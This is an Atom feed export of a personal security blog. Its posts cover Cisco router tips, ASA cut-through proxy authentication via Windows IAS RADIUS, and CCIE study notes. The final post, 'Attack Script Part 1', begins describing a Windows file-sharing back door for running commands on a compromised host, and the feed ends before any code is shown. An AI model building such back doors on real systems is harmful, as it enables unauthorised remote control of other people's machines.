<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-522754168935527456</id><updated>2011-09-12T09:16:58.537-04:00</updated><category term='IDS'/><category term='DNS'/><category term='Ettercap'/><category term='CCIE'/><category term='Wyd'/><category term='Hydra'/><category term='Evilgrade'/><category term='Vmware'/><category term='Cisco'/><category term='Nepenthes'/><category term='Security'/><category term='IOS Resiliancy'/><category term='Redundancy'/><category term='Cisco ASA'/><category term='Macof'/><category term='RADIUS'/><category term='WarDialing'/><category term='Honeypot'/><category term='H D Moore'/><category term='Malware Analysis'/><category term='Telesweep'/><category term='Antivirus'/><category term='fgdump'/><category term='Internet Storm Center'/><category term='Ollydbg'/><category term='floating static routes'/><category term='Command Line'/><category term='HSRP'/><category term='Dynamic Arp Inspection'/><category term='Netcat'/><category term='Wireshark'/><category term='Dsniff'/><category term='Metasploit'/><category term='PEiD'/><category term='Port Security'/><category term='Qemu'/><category term='Attack Tools'/><category term='Warvox'/><category term='Man in the Middle'/><category term='Zerowine'/><category term='VLAN hopping'/><category term='Microsoft Windows'/><category term='Ophcrack'/><category term='Verification of IOS'/><category term='Failover'/><category term='Active Directory'/><category term='Snort'/><category term='Arp Spoofing'/><category term='Unpacking Executables'/><category term='CIA'/><category term='John the Ripper'/><category term='Archive Command'/><category term='Windows Server 2003'/><category term='Yersinia'/><category term='Internet Authentication Service'/><title type='text'>Infosec Samurai</title><subtitle type='html'>A blog about Tech, Hacking and other general musings.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Infosec Samurai</name><uri>http://www.blogger.com/profile/06033560002815227801</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Uj2UHPRpt08/SoWZoxcjGrI/AAAAAAAAAAM/ItAQyNbVTmo/S220/Dark_Dragon.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-2777587987809043532</id><published>2010-12-08T17:32:00.000-05:00</published><updated>2010-12-08T17:32:00.676-05:00</updated><title type='text'>Lightning Tip Gnome Connection Manager</title><content type='html'>I typically find that most Cisco admins run Windows or Mac. I am partial to Linux I love the stability but I never found anything that could compete with SecureCrt on Windows or Mac computers. I recently found Gnome Connection Manager which is very comparable to SecureCrt plus it's free! Gnome Connection Manager supports telnet, ssh, tabs and will automatically enter usernames and passwords. This is a very powerful addition for Cisco Admins who run Linux. Check out gnome connection manager and give Linux a try I'm sure you will like it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-2777587987809043532?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/2777587987809043532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=2777587987809043532' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2777587987809043532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2777587987809043532'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2010/12/lightning-tip-gnome-connection-manager.html' title='Lightning Tip Gnome Connection Manager'/><author><name>Infosec Samurai</name><uri>http://www.blogger.com/profile/06033560002815227801</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Uj2UHPRpt08/SoWZoxcjGrI/AAAAAAAAAAM/ItAQyNbVTmo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-3436519894993282395</id><published>2010-11-29T13:23:00.001-05:00</published><updated>2010-11-29T13:51:42.051-05:00</updated><title type='text'>Lightning TIP Viewing Traffic as it Crosses a Router</title><content type='html'>Do you have a need to see the packets crossing your router? If you do then you can use the &lt;b&gt;debug ip packet detail&lt;/b&gt; command to see this traffic. The problem is it's typically so much traffic it's not useful.This is where an access list can help.&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;access-list 101 permit ip host 192.168.0.1 host 192.168.0.2&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;access-list 101 permit ip host 192.168.0.2 host 192.168.0.1&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Now reuse the earlier debug with the access-list.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Router#debug ip packet detail 101&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you tweak your logging settings just right you should be able to capture the packet detail to syslog or to the console in real time giving you insight into the specific traffic you might be looking for.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-3436519894993282395?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/3436519894993282395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=3436519894993282395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3436519894993282395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3436519894993282395'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2010/11/lightning-tip-seeing-traffic-crossing.html' title='Lightning TIP Viewing Traffic as it Crosses a Router'/><author><name>Infosec Samurai</name><uri>http://www.blogger.com/profile/06033560002815227801</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Uj2UHPRpt08/SoWZoxcjGrI/AAAAAAAAAAM/ItAQyNbVTmo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-8817831722312839631</id><published>2010-11-29T12:34:00.001-05:00</published><updated>2010-11-29T12:36:26.473-05:00</updated><title type='text'>Back in Black</title><content type='html'>Hello everyone. I have returned ! I will be writing more often about topics in tech that interest me. This blog won't have the specific focus of Information Security or Cisco like it has in the past. It will be loosely based on Technology, Information Security, Hacking and whatever else I feel like writing about. If you are reading this Thanks for your support.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-8817831722312839631?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/8817831722312839631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=8817831722312839631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8817831722312839631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8817831722312839631'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2010/11/back-in-black.html' title='Back in Black'/><author><name>Infosec Samurai</name><uri>http://www.blogger.com/profile/06033560002815227801</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Uj2UHPRpt08/SoWZoxcjGrI/AAAAAAAAAAM/ItAQyNbVTmo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-4564374251175528265</id><published>2009-07-28T10:17:00.023-04:00</published><updated>2009-07-28T13:51:54.654-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows Server 2003'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet Authentication Service'/><category scheme='http://www.blogger.com/atom/ns#' term='RADIUS'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco ASA'/><category scheme='http://www.blogger.com/atom/ns#' term='Active Directory'/><title type='text'>Auth Proxy without a Cisco ACS server on an ASA</title><content type='html'>&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;span style="font-size:100%;"&gt;Does your organization have &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Active_Directory" title="Active Directory" rel="wikipedia"&gt;Active Directory&lt;/a&gt;? Do you have a &lt;a class="zem_slink" href="http://www.cisco.com/" title="Cisco" rel="homepage"&gt;Cisco&lt;/a&gt; Router or ASA? You can do authorization proxy or cut-through proxy to your Active Directory without having an ACS server. How? I will show you.&lt;br /&gt;&lt;br /&gt;You will need at least one windows server and a &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Cisco_ASA" title="Cisco ASA" rel="wikipedia"&gt;Cisco ASA&lt;/a&gt; or Router.&lt;br /&gt;First we will go to the Windows Server. This server must be part of your Active Directory and be preferably &lt;a class="zem_slink" href="http://www.microsoft.com/windowsserver2003/" title="Windows Server 2003" rel="homepage"&gt;Windows Server 2003&lt;/a&gt; or later&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:85%;"  &gt;Installing IAS server&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;ol  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Log in as an Administrator&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Go to Start &gt; Control Panel &gt; Add or Remove Progams&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click Add/Remove Windows Components&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Scroll through the list and Click Networking Services&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click Details&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Check the box next to &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Internet_Authentication_Service" title="Internet Authentication Service" rel="wikipedia"&gt;Internet Authentication Service&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click OK&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Then Next and Finish&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IYfuPD9qO24/Sm8MeNLXnTI/AAAAAAAAAIc/PC-a7giOe_g/s1600-h/IAS.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://1.bp.blogspot.com/_IYfuPD9qO24/Sm8MeNLXnTI/AAAAAAAAAIc/PC-a7giOe_g/s320/IAS.jpg" alt="" id="BLOGGER_PHOTO_ID_5363519394294504754" border="0" /&gt; &lt;/a&gt;The      system may ask you to insert your Windows Server 2003 CD, so have it      handy. To verify that it is installed Go to Start &gt; Administrative Tools &gt; Internet Authentication Service.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:85%;"  &gt;Configuring IAS for AD&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;br /&gt;Now we want to configure our IAS server to allow radius authentication of the Active Directory Group we are going to create. To do this we need to complete the following steps.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ol  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Go to Start &gt; Administrative Tools &gt; Internet Authentication Service&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Right Click on the Internet Authentication Service in the top left of the Window&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose Register Server In Active Directory&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose OK on the First Message that allows the Server to read the dial in permission on the users from AD&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose OK on the Message that follows the first message.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/Sm8SHswUFxI/AAAAAAAAAIk/Tj3Dlx1Q_wU/s1600-h/registerIAS.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 258px;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/Sm8SHswUFxI/AAAAAAAAAIk/Tj3Dlx1Q_wU/s320/registerIAS.jpg" alt="" id="BLOGGER_PHOTO_ID_5363525604703737618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:85%;"  &gt;Add your device to the IAS Server&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;br /&gt;We now want to add the Router/ASA to the IAS Server. To add it we do the following.&lt;br /&gt;&lt;/span&gt;&lt;ol  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Right click on the Radius Clients Folder&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose New Radius Client&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Enter the Friendly Name and the IP address or FQDN Click Next&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Leave the Default &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/RADIUS" title="RADIUS" rel="wikipedia"&gt;RADIUS&lt;/a&gt; Standard in Client Vendor Enter the Shared Secret Confirm it and choose Finish&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;You should now see a Device in the Right Pane of the Window&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/Sm8VFztzC3I/AAAAAAAAAIs/Qb1Xl_LAW9M/s1600-h/AddRADIUS.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 258px;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/Sm8VFztzC3I/AAAAAAAAAIs/Qb1Xl_LAW9M/s320/AddRADIUS.jpg" alt="" id="BLOGGER_PHOTO_ID_5363528870747376498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:85%;"  &gt;Edit your Remote Access Policy&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;We now want to add a Remote Access Policy that will give our group permission to authenticate to our devices. To do this we add a remote access policy.&lt;br /&gt;&lt;/span&gt;&lt;ol  style="font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;In      the Internet Authentication Service window, click Remote Access Policies in      the left pane.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;In      the right pane, right-click the default policy, and select Delete.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Right Click on Remote Access Policy&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose New Remote Access Policy&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose Next&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click      Set Up A Custom Policy, name it Cisco-Auth&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;In the Policy Conditions Window Section add your Windows Group from Active Directory&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose Next&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose Grant Remote Access Permission&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose the Edit Profile Button&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose the Authentication Tab uncheck all options then check Unencrypted Authentication&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click the Advanced Tab&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Remove the Framed-Protocol Radius Standard PPP&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Choose Service-Type Radius Standard Framed entry click edit&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Change the Attribute Value to Login click Ok&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click Add Click Vendor Specific Click Add choose Cisco, then Yes it Conforms and Configure Attribute&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Add the string &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;shell:priv-lvl=15 or change the number to whatever privilege level you want your users to be.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click ok and ok and ok and close.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/Sm8tadxs-RI/AAAAAAAAAI8/u69kCL40_CE/s1600-h/Policy.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 270px;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/Sm8tadxs-RI/AAAAAAAAAI8/u69kCL40_CE/s320/Policy.jpg" alt="" id="BLOGGER_PHOTO_ID_5363555613914495250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;AAA Radius Authentication setup&lt;/span&gt;&lt;br /&gt;Ok thats enough windows so lets get going on our ASA with the following commands&lt;br /&gt;&lt;/span&gt;&lt;ol  style="font-weight: bold;font-family:arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;ASA(config)#aaa-server RADIUS protocol radius&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;ASA(config)#aaa-server RADIUS (inside) host &lt;span style="font-style: italic;"&gt;IPofyourhost password&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;ASA(config-aaa-server-host)authentication-port&lt;span style="font-style: italic;"&gt; &lt;/span&gt;1812&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;ASA(config-aaa-server-host)authentication-port 1813&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Then you want to test your AAA setup&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ASA#test aaa-server authentication RADIUS username yourusername password yourpassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It will then ask you for a host IP if everything is setup correctly you will get&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;INFO: Authentication Successful&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;span style="font-weight: bold;"&gt;Setup Cut Through Proxy&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First we create an acl to define what we want to be authenticated.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;ASA(config)#access-list cut-through permit ip 10.0.0.0 255.0.0.0 any eq 80&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ASA(config)#access-list cut-through permit ip 10.0.0.0 255.0.0.0 any eq 443&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:100%;"  &gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;Then we configure the authentication&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;ASA(config)#aaa authentication match cut-through inside RADIUS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So thats it! We just saved our company some money by not needing a Cisco ACS for Auth-Proxy/cut-through proxy. We still don't get the advanced features of the ACS but we do get a free Authentication Server. If you want to do this same thing on a router just use something like this.&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:100%;"  &gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aaa new-model&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;radius-server host 10.0.0.1 auth-port 1812 acct-port 1813 key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aaa authorization auth-proxy default group RADIUS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip http server&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip auth-proxy name security http inactivity-time 60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;interface f0/0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip auth-proxy security&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;" class="modulecontent"  &gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;You can use the Radius Server we just created for login authentication as well but &lt;span style="font-weight: bold;"&gt;make sure you are using a crypto IOS and SSH&lt;/span&gt; or you expose your windows passwords over telnet which weakens the Windows domains already encrypted infrastructure.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;     &lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-4564374251175528265?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/4564374251175528265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=4564374251175528265' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4564374251175528265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4564374251175528265'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2009/07/auth-proxy-without-cisco-acs-server-on.html' title='Auth Proxy without a Cisco ACS server on an ASA'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IYfuPD9qO24/Sm8MeNLXnTI/AAAAAAAAAIc/PC-a7giOe_g/s72-c/IAS.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-2211614989374926441</id><published>2009-07-23T14:54:00.009-04:00</published><updated>2009-07-23T15:44:33.017-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='CCIE'/><title type='text'>CCIE Security July 23rd 2009</title><content type='html'>&lt;p&gt;Alright I am adopting the mantra of &lt;b&gt;“It doesn’t matter how slow you go it only matters if you stop”&lt;/b&gt; I have been banging on the &lt;a href="http://www.cisco.com/web/learning/le3/ccie/security/index.html"&gt;CCIE&lt;/a&gt;&lt;a href="http://www.cisco.com/web/learning/le3/ccie/security/index.html"&gt; Security&lt;/a&gt; since the beginning of the year and I am starting to get to a point where I feel there isn’t a ton of study material available. The material I have from IPEXPERT is first rate but I am beginning to think I picked a real bad time to start studying for a CCIE in Security. I haven’t been exposed to the lull in material after a blueprint change in any other type of certification I have pursued.&lt;/p&gt; &lt;p&gt;I have on the other hand done some of the new labs from &lt;a href="http://www.ipexpert.com/"&gt;IPExpert&lt;/a&gt; they are of much better quality than that of the previous ones. I have been working on LAB1A all this week and I think I learned quite a few things about the ASA especially MPF. It’s really cool that you can change HTTP headers for webservers using MPF. You can make your server header say anything you want like the following.&lt;/p&gt; &lt;p&gt;policy-map type inspect http MAP_HTTP&lt;br /&gt;parameters&lt;br /&gt;spoof-server “This Server runs on Caffeine!”&lt;/p&gt; &lt;p&gt;I know that if I keep going on my path to CCIE I will get there! I am sure in a few more months more study materials will appear but it just seems like they are extremely sparse right now. I guess that the number of CCIE in Security is such a low number that it might be hard to get study material written. The R&amp;amp;S CCIE won't be like this I am sure.&lt;br /&gt;&lt;/p&gt;  &lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;br /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-2211614989374926441?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/2211614989374926441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=2211614989374926441' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2211614989374926441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2211614989374926441'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2009/07/ccie-security-july-23rd-2009.html' title='CCIE Security July 23rd 2009'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-8385414902131393349</id><published>2009-03-13T08:51:00.006-04:00</published><updated>2009-03-13T14:26:11.018-04:00</updated><title type='text'>Attack Script Part 1</title><content type='html'>First off let me say that I am going to start posting shorter blogs more frequently. I guess I have been kind of inspired by twitter. Instead of one giant post every month I am going to try to post several smaller posts. I am also going to be using this blog as a sounding board for my upcoming CCIE Security Lab studies. I am going to write down what I encounter and see if anything strikes any readers out their on the net.&lt;br /&gt;&lt;br /&gt;We are going to create a back door that we can use over windows file sharing. It will allow you to run any command and have it's output exported into a file. This is an add on to Ed Skodus's for loop that allows this to happen.&lt;br /&gt;&lt;br /&gt;So let's say we have popped a shell out of a windows 